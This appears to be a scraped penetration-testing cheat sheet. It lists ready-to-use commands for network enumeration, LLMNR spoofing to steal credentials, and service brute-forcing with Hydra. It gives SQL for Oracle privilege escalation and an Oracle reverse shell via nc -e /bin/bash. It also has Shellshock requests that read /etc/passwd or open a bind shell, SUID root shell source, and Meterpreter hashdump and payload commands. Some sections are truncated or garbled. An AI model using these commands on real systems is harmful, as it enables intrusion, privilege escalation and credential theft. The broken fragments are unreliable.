+ Introduction
Changelog
Pre-engagement
Network Configuration
Set IP Address
Subnetting
OSINT
Passive Information Gathering
DNS
WHOIS enumeration
Perform DNS IP Lookup
Perform MX Record Lookup
Perform Zone Transfer with DIG
DNS Zone Transfers
Email
Simply Email
Semi Active Information Gathering
Basic Finger Printing
Banner grabbing with NC
Active Information Gathering
DNS Bruteforce
DNSRecon
Port Scanning
Nmap Commands
Nmap UDP Scanning
UDP Protocol Scanner
Other Host Discovery
Enumeration & Attacking Network Services
SAMB / SMB / Windows Domain Enumeration
Samba Enumeration
SMB Enumeration Tools
Fingerprint SMB Version
Find open SMB Shares
Enumerate SMB Users
Manual Null session testing:
NBTScan unixwiz
LLMNR / NBT-NS Spoofing
Metasploit LLMNR / NetBIOS requests
Responder.py
SNMP Enumeration Tools
SNMPv3 Enumeration Tools
R Services Enumeration
RSH Enumeration
RSH Run Commands
Metasploit RSH Login Scanner
rusers Show Logged in Users
rusers scan whole Subnet
Finger Enumeration
Finger a Specific Username
Solaris bug that shows all logged in users:
rwho
TLS & SSL Testing
testssl.sh
Vulnerability Assessment
Database Penetration Testing
Oracle
Fingerprint Oracle TNS Version
Brute force oracle user accounts
Oracle Privilege Escalation
Identify default accounts within oracle db using NMAP NSE scripts:
How to identify the current privilege level for an oracle user:
Oracle priv esc and obtain DBA access:
Run the exploit with a select query:
Remove the exploit using:
Get Oracle Reverse os-shell:
MSSQL
Bruteforce MSSQL Login
Metasploit MSSQL Shell
Network
Plink.exe Tunnel
Pivoting
SSH Pivoting
Meterpreter Pivoting
TTL Finger Printing
IPv4 Cheat Sheets
Classful IP Ranges
IPv4 Private Address Ranges
IPv4 Subnet Cheat Sheet
VLAN Hopping
VPN Pentesting Tools
IKEForce
IKE Aggressive Mode PSK Cracking
Step 1: Idenitfy IKE Servers
Step 2: Enumerate group name with IKEForce
Step 3: Use ike-scan to capture the PSK hash
Step 4: Use psk-crack to crack the PSK hash
PPTP Hacking
NMAP PPTP Fingerprint:
PPTP Dictionary Attack
DNS Tunneling
Attacking Machine
BOF / Exploit
Exploit Research
Searching for Exploits
Compiling Windows Exploits on Kali
Cross Compiling Exploits
Exploiting Common Vulnerabilities
Exploiting Shellshock
cat file (view file contents)
Shell Shock run bind shell
Shell Shock reverse Shell
Simple Local Web Servers
Mounting File Shares
HTTP / HTTPS Webserver Enumeration
Packet Inspection
Username Enumeration
SMB User Enumeration
SNMP User Enumeration
Passwords
Wordlists
Brute Forcing Services
Hydra FTP Brute Force
Hydra POP3 Brute Force
Hydra SMTP Brute Force
Password Cracking
John The Ripper - JTR
Windows Penetration Testing Commands
Linux Penetration Testing Commands
Compiling Exploits
Identifying if C code is for Windows or Linux
Build Exploit GCC
GCC Compile 32Bit Exploit on 64Bit Kali
Compile Windows .exe on Linux
SUID Binary
SUID C Shell for /bin/bash
SUID C Shell for /bin/sh
Building the SUID Shell binary
Reverse Shells
TTY Shells
Python TTY Shell Trick
Spawn Interactive sh shell
Spawn Perl TTY Shell
Spawn Ruby TTY Shell
Spawn Lua TTY Shell
Spawn TTY Shell from Vi
Spawn TTY Shell NMAP
Metasploit Cheat Sheet
Meterpreter Payloads
Windows reverse meterpreter payload
Windows VNC Meterpreter payload
Linux Reverse Meterpreter payload
Meterpreter Cheat Sheet
Common Metasploit Modules
Remote Windows Metasploit Modules (exploits)
Local Windows Metasploit Modules (exploits)
Auxilary Metasploit Modules
Metasploit Powershell Modules
Post Exploit Windows Metasploit Modules
ASCII Table Cheat Sheet
CISCO IOS Commands
Cryptography
Hash Lengths
Hash Examples
SQLMap Examples
Perform DNS IP Lookup dig a domain-name-here.com @nameserver
Perform MX Record Lookup dig mx domain-name-here.com @nameserver
Perform Zone Transfer with DIG dig axfr domain-name-here.com @nameserver
DNS Zone Transfers Command Description nslookup -> set type=any -> ls -d blah.com
Windows DNS zone transfer dig axfr blah.com @ns1.blah.com
Linux DNS zone transfer Email Simply Email Use Simply Email to enumerate all the online places (github, target site etc), it works better if you use proxies or set long throttle times so google doesn’t think you’re a robot and make you fill out a Captcha. git clone https://github.com/killswitch-GUI/SimplyEmail.git ./SimplyEmail.py -all -e TARGET-DOMAIN
Simply Email can verify the discovered email addresss after gathering.
nmap -v -sS -A -T4 target
Nmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service version info, traceroute and scripts against services
nmap -v -sS -p--A -T4 target
As above but scans all TCP ports (takes a lot longer)
nmap -v -sU -sS -p- -A -T4 target
As above but scans all TCP ports and UDP scan (takes even longer)
nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.1.X
Nmap script to scan for vulnerable SMB servers - WARNING: unsafe=1 may cause knockover
ls /usr/share/nmap/scripts/* | grep ftp
Search nmap scripts for keywords
> I’ve had a few people mention about T4 scans, apply common sense here. Don’t use T4 commands on external pen tests (when using an Internet connection),
> you’re probably better off using a T2 with a TCP connect scan. A T4 scan would likely be better suited for an internal pen test, over low latency links with plenty of bandwidth.
> But it all depends on the target devices, embeded devices are going to struggle if you T4 / T5 them and give inconclusive results. As a general rule of thumb, scan as slowly as you can,
> or do a fast scan for the top 1000 so you can start pen testing then kick off a slower scan.
Nmap UDP Scanning
nmap -sU TARGET
UDP Protocol Scanner
git clone https://github.com/portcullislabs/udp-proto-scanner.git
Scan a file of IP addresses for all services:
./udp-protocol-scanner.pl -f ip.txt
Scan for a specific UDP service:
udp-proto-scanner.pl -p ntp -f ips.txt
Other Host Discovery Other methods of host discovery, that don’t use nmap…
Command Description
netdiscover -r 192.168.1.0/24
Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming you're on the right VLAN at $client site
Enumeration & Attacking Network Services
Penetration testing tools that spefically identify and / or enumerate network services: SAMB / SMB / Windows Domain Enumeration Samba Enumeration SMB Enumeration Tools
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target
Command Description
nbtscan 192.168.1.0/24
Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
enum4linux -a target-ip
Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing
Fingerprint SMB Version
smbclient -L //192.168.1.100
Find open SMB Shares
nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.1.0/24
Enumerate SMB Users
nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254
python /usr/share/doc/python-impacket-doc/examples /samrdump.py 192.168.XXX.XXX
RID Cycling:
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt
Metasploit module for RID cycling:
use auxiliary/scanner/smb/smb_lookupsid
Manual Null session testing:
Windows:
net use \\TARGET\IPC$ "" /u:""
Linux:
smbclient -L //192.168.99.131
NBTScan unixwiz
Install on Kali rolling:
apt-get install nbtscan-unixwiz
nbtscan-unixwiz -f 192.168.0.1-254 > nbtscan
LLMNR / NBT-NS Spoofing
Steal credentials off the network.
Metasploit LLMNR / NetBIOS requests
Spoof / poison LLMNR / NetBIOS requests:
auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_response
Capture the hashes:
auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlm
You’ll end up with NTLMv2 hash, use john or hashcat to crack it.
Responder.py
Alternatively you can use responder.
git clone https://github.com/SpiderLabs/Responder.git
python Responder.py -i local-ip -I eth0
Run Responder.py for the whole engagement
Run Responder.py for the length of the engagement while you're working on other attack vectors.
*SNMP Enumeration Tools*
A number of SNMP enumeration tools.
Fix SNMP output values so they are human readable:
apt-get install snmp-mibs-downloader download-mibs
echo "" > /etc/snmp/snmp.conf
Command Description
snmpcheck -t 192.168.1.X -c public
snmpwalk -c public -v1 192.168.1.X 1|
grep hrSWRunName|cut -d* * -f
snmpenum -t 192.168.1.X
onesixtyone -c names -i hosts
SNMP enumeration
SNMPv3 Enumeration Tools
Idenitfy SNMPv3 servers with nmap:
nmap -sV -p 161 --script=snmp-info TARGET-SUBNET
Rory McCune’s snmpwalk wrapper script helps automate the username enumeration process for SNMPv3:
apt-get install snmp snmp-mibs-downloader
wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb
Use Metasploits Wordlist
Metasploit's wordlist (KALI path below) has common credentials for v1 & 2 of SNMP, for newer credentials check out Daniel Miessler's SecLists project on GitHub (not the mailing list!).
/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
*R Services Enumeration*
This is legacy, included for completeness.
nmap -A will perform all the rservices enumeration listed below, this section has been added for completeness or manual confirmation:
RSH Enumeration
RSH Run Commands
rsh <target> <command>
Metasploit RSH Login Scanner
auxiliary/scanner/rservices/rsh_login
rusers Show Logged in Users
rusers -al 192.168.2.1
rusers scan whole Subnet
rlogin -l <user> <target>
e.g rlogin -l root TARGET-SUBNET/24
Finger Enumeration
finger @TARGET-IP
Finger a Specific Username
finger batman@TARGET-IP
Solaris bug that shows all logged in users:
finger 0@host
SunOS: RPC services allow user enum:
$ rusers # users logged onto LAN
finger 'a b c d e f g h'@sunhost
rwho
Use nmap to identify machines running rwhod (513 UDP)
*TLS & SSL Testing*
testssl.sh
Test all the things on a single host and output to a .html file:
./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.html
*Vulnerability Assessment*
Install OpenVAS 8 on Kali Rolling:
apt-get update
apt-get dist-upgrade -y
apt-get install openvas
openvas-setup
Verify openvas is running using:
netstat -tulpn
Login at https://127.0.0.1:9392 - credentials are generated during openvas-setup.
*Database Penetration Testing*
Attacking database servers exposed on the network.
Oracle
Install oscanner:
apt-get install oscanner
Run oscanner:
oscanner -s 192.168.1.200 -P 1521
Fingerprint Oracle TNS Version
Install tnscmd10g:
apt-get install tnscmd10g
Fingerprint oracle tns:
tnscmd10g version -h TARGET
nmap --script=oracle-tns-version
Brute force oracle user accounts
Identify default Oracle accounts:
nmap --script=oracle-sid-brute
nmap --script=oracle-brute
Run nmap scripts against Oracle TNS:
nmap -p 1521 -A TARGET
Oracle Privilege Escalation
Requirements:
Oracle needs to be exposed on the network
A default account is in use like scott
Quick overview of how this works:
Create the function
Create an index on table SYS.DUAL
The index we just created executes our function SCOTT.DBA_X
The function will be executed by SYS user (as that’s the user that owns the table).
Create an account with DBA priveleges
In the example below the user SCOTT is used but this should be possible with another default Oracle account.
Identify default accounts within oracle db using NMAP NSE scripts:
nmap --script=oracle-sid-brute
nmap --script=oracle-brute
Login using the identified weak account (assuming you find one).
How to identify the current privilege level for an oracle user:
SQL> select * from session_privs;
SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO varchar) return varchar deterministic authid
curren_user is
pragma autonomous_transaction;
begin
execute immediate 'grant dba to user1 identified by pass1';
commit;
return 'FOO';
end;
Oracle priv esc and obtain DBA access:
Run netcat: netcat -nvlp 443code>
SQL> create index exploit_1337 on SYS.DUAL(SCOTT.GETDBA('BAR'));
Run the exploit with a select query:
SQL> Select * from session_privs;
You should have a DBA user with creds user1 and pass1.
Verify you have DBA privileges by re-running the first command again.
Remove the exploit using:
drop index exploit_1337;
Get Oracle Reverse os-shell:
begin
dbms_scheduler.create_job( job_name => 'MEH1337',job_type =>
'EXECUTABLE',job_action => '/bin/nc',number_of_arguments => 4,start_date =>
SYSTIMESTAMP,enabled => FALSE,auto_drop => TRUE);
dbms_scheduler.set_job_argument_value('rev_shell', 1, 'TARGET-IP');
dbms_scheduler.set_job_argument_value('rev_shell', 2, '443');
dbms_scheduler.set_job_argument_value('rev_shell', 3, '-e');
dbms_scheduler.set_job_argument_value('rev_shell', 4, '/bin/bash');
dbms_scheduler.enable('rev_shell');
end;
MSSQL
Enumeration / Discovery:
Nmap:
nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156
M etasploit:
msf > use auxiliary/scanner/mssql/mssql_ping
Use MS SQL Servers Browse For More
Try using "Browse for More" via MS SQL Server Management Studio
Bruteforce MSSQL Login
msf > use auxiliary/admin/mssql/mssql_enum
Metasploit MSSQL Shell
msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
Network
Plink.exe Tunnel
PuTTY Link tunnel
Forward remote port to local address:
plink.exe -P 22 -l root -pw "1337" -R 445:127.0.0.1:445 REMOTE-IP
Pivoting
SSH Pivoting
ssh -D 127.0.0.1:1010 -p 22 user@pivot-target-ip
Add socks4 127.0.0.1 1010 in /etc/proxychains.conf
SSH pivoting from one network to another:
ssh -D 127.0.0.1:1010 -p 22 user1@ip-address-1
Add socks4 127.0.0.1 1010 in /etc/proxychains.conf
proxychains ssh -D 127.0.0.1:1011 -p 22 user1@ip-address-2
Add socks4 127.0.0.1 1011 in /etc/proxychains.conf
Meterpreter Pivoting
TTL Finger Printing
Operating System TTL Size
VLAN Hopping
Using NCCGroups VLAN wrapper script for Yersina simplifies the process.
Identify VPN servers: ./udp-protocol-scanner.pl -p ike TARGET(s)
Scan a range for VPN servers: ./udp-protocol-scanner.pl -p ike -f ip.txt
IKEForce Use IKEForce to enumerate or dictionary attack VPN servers.
Install:
pip install pyip
git clone https://github.com/SpiderLabs/ikeforce.git
Perform IKE VPN enumeration with IKEForce:
./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
Bruteforce IKE VPN using IKEForce:
./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1
ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
IKE Aggressive Mode PSK Cracking
Identify VPN Servers
Enumerate with IKEForce to obtain the group ID
Use ike-scan to capture the PSK hash from the IKE endpoint
Use psk-crack to crack the hash
Step 1: Idenitfy IKE Servers ./udp-protocol-scanner.pl -p ike SUBNET/24
Step 2: Enumerate group name with IKEForce ./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
Step 3: Use ike-scan to capture the PSK hash ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP
Step 4: Use psk-crack to crack the PSK hash psk-crack hash-file.txt
Some more advanced psk-crack options below: pskcrack psk-crack -b 5 TARGET-IPkey psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key psk-crack -d /path/to/dictionary-file TARGET-IP-key
Tunneling data over DNS to bypass firewalls.
dnscat2 supports “download” and “upload” commands for getting files (data and programs) to and from the target machine.
Attacking Machine
Installtion:
apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install
Run dnscat2:
ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422
Target Machine:
https://downloads.skullsecurity.org/dnscat2/ https://github.com/lukebaggett/dnscat2-powershell/
dnscat --host <dnscat server_ip>
BOF / Exploit
*Find exploits for enumerated hosts / services.*
Command Description
searchsploit windows 2003 | grep -i local
Search exploit-db for exploit, in this example windows 2003 + local esc
site:exploit-db.com exploit kernel <= 3
Use google to search exploit-db.com for exploits
grep -R "W7" /usr/share/metasploit-framework/modules/exploit/windows/*
Search metasploit modules using grep - msf search sucks a bit
Install local copy of exploit-db:
searchsploit –u
searchsploit apache 2.2
searchsploit "Linux Kernel"
searchsploit linux 2.6 | grep -i ubuntu | grep local
Compiling Windows Exploits on Kali
wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe
Cross Compiling Exploits
gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)
**Exploiting Common Vulnerabilities**
*Exploiting Shellshock*
A tool to find and exploit servers vulnerable to Shellshock:
git clone https://github.com/nccgroup/shocker
./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
cat file (view file contents)
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
Shell Shock run bind shell
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
Shell Shock reverse Shell
nc -l -p 443
Simple Local Web Servers
Python local web server command, handy for serving up shells and exploits on an attacking machine.
python -m SimpleHTTPServer 80
Run a basic http server, great for serving up shells etc
python3 -m http.server
Run a basic Python3 http server, great for serving up shells etc
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
Run a ruby webrick basic http server
php -S 0.0.0.0:80
Run a basic PHP http server
Mounting File Shares
How to mount NFS / CIFS, Windows and Linux file shares.
mount 192.168.1.1:/vol/share /mnt/nfs
Mount NFS share to /mnt/nfs
mount -t cifs -o username=user,password=pass,domain=blah //192.168.1.X/share-name /mnt/cifs
Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history)
net use Z: \\win-server\share password /user:domain\janedoe /savecred /p:no
Mount a Windows share on Windows from the command line
apt-get install smb4k -y
Install smb4k on Kali, useful Linux GUI for browsing SMB shares
HTTP / HTTPS Webserver Enumeration
nikto -h 192.168.1.1
Perform a nikto scan against target
dirbuster
Configure via GUI, CLI input doesn't work most of the time
tcpdump tcp port 80 -w output.pcap -i eth0
tcpdump for port 80 on interface eth0, outputs to output.pcap
Username Enumeration
Some techniques used to remotely enumerate users on a target system.
SMB User Enumeration
python /usr/share/doc/python-impacket-doc/examples /samrdump.py 192.168.XXX.XXX
Enumerate users from SMB
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt
RID cycle SMB / enumerate users from SMB
SNMP User Enumeration
snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25 |cut -d” “ -f4
Enmerate users from SNMP
python /usr/share/doc/python-impacket-doc/examples/samrdump.py SNMP 192.168.X.XXX
Enmerate users from SNMP
map -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt | grep whatever
Search for SNMP servers with nmap, grepable output
Passwords Wordlists
/usr/share/wordlists
Kali word lists
Brute Forcing Services
Hydra FTP Brute Force
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX ftp -V
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX pop3 -V
Hydra POP3 brute force
Hydra SMTP Brute Force
hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V
Use -t to limit concurrent connections, example: -t 15
Password Cracking
Password cracking penetration testing tools.
John The Ripper - JTR
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
JTR password cracking
john --format=descrypt --wordlist /usr/share/wordlists/rockyou.txt hash.txt
JTR forced descrypt cracking with wordlist
john --format=descrypt hash --show
JTR forced descrypt brute force cracking
Compiling Exploits
Some notes on compiling exploits. Identifying if C code is for Windows or Linux C #includes will indicate which OS should be used to build the exploit.
process.h, string.h, winbase.h, windows.h, winsock2.h
Windows exploit code
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h,sys/sockt.h, sys/types.h, unistd.h
Linux exploit code
Build Exploit GCC
Compile exploit gcc.
gcc -o exploit exploit.c
Basic GCC compile
GCC Compile 32Bit Exploit on 64Bit Kali
Handy for cross compiling 32 bit binaries on 64 bit attacking machines.
gcc -m32 exploit.c -o exploit
Cross compile 32 bit binary on 64 bit Linux
Compile Windows .exe on Linux
Build / compile windows exploits on Linux, resulting in a .exe file.
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe
Compile windows .exe on Linux
SUID Binary
Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required. below are some quick copy and pate examples for various shells:
*SUID C Shell for /bin/bash*
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}
*SUID C Shell for /bin/sh*
int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
}
Building the SUID Shell binary
gcc -o suid suid.c
For 32 bit:
gcc -m32 -o suid suid.c
Reverse Shells
See Reverse Shell Cheat Sheet for a list of useful Reverse Shells.
**TTY Shells**
Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like su from reverse shells.
Python TTY Shell Trick
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
Spawn Interactive sh shell
/bin/sh -i
Spawn Perl TTY Shell
exec "/bin/sh";
perl —e 'exec "/bin/sh";'
Spawn Ruby TTY Shell
exec "/bin/sh"
Spawn Lua TTY Shell
os.execute('/bin/sh')
Spawn TTY Shell from Vi
Run shell commands from vi:
:!bash
Spawn TTY Shell NMAP
!sh
Metasploit Cheat Sheet
A basic metasploit cheat sheet that I have found handy for reference. Basic Metasploit commands, useful for reference, for pivoting see - Meterpreter Pivoting techniques.
**Meterpreter Payloads**
set payload windows/meterpreter/reverse_tcp
Windows reverse tcp payload
Windows VNC Meterpreter payload
set payload windows/vncinject/reverse_tcp
set ViewOnly false
Linux Reverse Meterpreter payload
set payload linux/meterpreter/reverse_tcp
Meterpreter Linux Reverse Payload
**Useful meterpreter commands.**
upload file c:\\windows
Meterpreter upload file to Windows target
Meterpreter download file from Windows target
download c:\\windows\\repair\\sam /tmp
execute -f c:\\windows\temp\exploit.exe
Meterpreter run .exe on target - handy for executing uploaded exploits
execute -f cmd -c
Creates new channel with cmd shell
ps
Meterpreter show processes
shell
Meterpreter get shell on the target
getsystem
Meterpreter attempts priviledge escalation the target
hashdump
Meterpreter attempts to dump the hashes on the target
portfwd add –l 3389 –p 3389 –r target
Meterpreter create port forward to target machine
portfwd delete –l 3389 –p 3389 –r target
Meterpreter delete port forward
**Common Metasploit Modules**
Top metasploit modules.
Remote Windows Metasploit Modules (exploits)
use exploit/windows/smb/ms08_067_netapi
MS08_067 Windows 2k, XP, 2003 Remote Exploit
use exploit/windows/dcerpc/ms06_040_netapi
MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit
Local Windows Metasploit Modules (exploits)
use exploit/windows/local/bypassuac
Bypass UAC on Windows 7 + Set target + arch, x86/64
Auxilary Metasploit Modules
use auxiliary/scanner/http/dir_scanner
Metasploit HTTP directory scanner
use auxiliary/scanner/http/jboss_vulnscan
Metasploit JBOSS vulnerability scanner
use auxiliary/scanner/mssql/mssql_login
Metasploit MSSQL Credential Scanner
use auxiliary/scanner/mysql/mysql_version
Metasploit MSSQL Version Scanner
use auxiliary/scanner/oracle/oracle_login
Metasploit Oracle Login Module
Metasploit Powershell Modules
use exploit/multi/script/web_delivery
Metasploit powershell payload delivery module
post/windows/manage/powershell/exec_powershell
Metasploit upload and run powershell script through a session
use exploit/multi/http/jboss_maindeployer
Metasploit JBOSS deploy
use exploit/windows/mssql/mssql_payload
Metasploit MSSQL payload
Windows Metasploit Modules for privilege escalation.
run post/windows/gather/win_privs
Metasploit show privileges of current user
use post/windows/gather/credentials/gpp
Metasploit grab GPP saved passwords
load mimikatz -> wdigest
Metasplit load Mimikatz
run post/windows/gather/local_admin_search_enum
Idenitfy other machines that the supplied domain user has administrative access to
run post/windows/gather/smart_hashdump
Automated dumping of sam file, tries to esc privileges etc
CISCO IOS Commands
A collection of useful Cisco IOS commands.
enable
Enters enable mode
conf t
Short for, configure terminal
(config)# interface fa0/0
Configure FastEthernet 0/0
(config-if)# ip addr 0.0.0.0 255.255.255.255
Add ip to fa0/0
(config-if)# ip addr 0.0.0.0 255.255.255.255
Add ip to fa0/0
(config-if)# line vty 0 4
Configure vty line
(config-line)# login
(config-line)# password YOUR-PASSWORD
Set telnet password
show running-config
Show running config loaded in memory
show startup-config
Show sartup config
show version
show cisco IOS version
show session
display open sessions
show ip interface
Show network interfaces
show interface e0
Show detailed interface info
show ip route
Show routes
show access-lists
Show access lists
dir file systems
Show available files
dir all-filesystems
File information
dir /all
SHow deleted files
terminal length 0
No limit on terminal output
copy running-config tftp
Copys running config to tftp server
copy running-config startup-config
Copy startup-config to running-config
Cryptography
Hash Lengths Hash Size
MD5 Hash Length
16 Bytes
SHA-1 Hash Length
20 Bytes
SHA-256 Hash Length
32 Bytes
SHA-512 Hash Length
64 Bytes Hash Examples
Likely just use hash-identifier for this but here are some example hashes: Hash Example